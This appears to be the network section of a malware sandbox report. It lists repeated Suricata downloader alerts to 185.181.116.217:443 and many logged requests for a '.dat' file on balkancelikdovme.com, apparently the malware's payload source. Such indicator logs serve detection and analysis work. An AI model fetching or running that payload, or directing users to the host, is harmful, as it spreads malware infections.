Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49765 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49830 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49795 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49912 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49797 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49786 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49747 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49790 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49871 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49924 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49930 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49761 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49796 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49764 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49783 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49902 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49941 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49785 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49936 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49955 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49947 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49784 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49793 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49780 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50015 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49848 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49963 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50029 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50042 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50050 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49760 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50082 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49889 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50088 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50076 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49969 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49858 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50062 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50116 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49988 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50117 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50118 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50123 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50114 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50127 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50121 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50128 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50125 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50137 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50142 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50131 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49982 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50112 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50122 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50151 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50159 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50154 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50124 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50170 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50148 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50162 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50155 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50164 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50140 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49994 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50147 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50158 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50149 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50035 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50176 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50186 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50161 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50145 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50166 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50113 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50022 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50165 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50193 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50189 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50160 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50152 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50069 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50163 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50056 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50203 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50153 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49836 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50187 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50208 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50135 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50119 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50129 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50167 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50175 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49801 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50177 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50188 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50174 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50004 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50190 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50197 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50205 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50171 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50179 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50180 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50168 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50096 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50138 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50009 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50134 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50109 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50207 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50194 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50192 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50185 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50204 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50136 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49824 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50209 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50184 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50115 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50132 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50195 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50126 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50206 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50143 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50133 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50150 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50202 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50141 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50144 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50169 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50172 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49896 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50210 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50178 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50201 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50157 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50156 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49918 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50181 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50196 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49975 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50183 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50103 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50199 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50120 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50130 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50146 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50198 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50173 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50139 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50182 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50191 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50200 -> 185.181.116.217:443

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
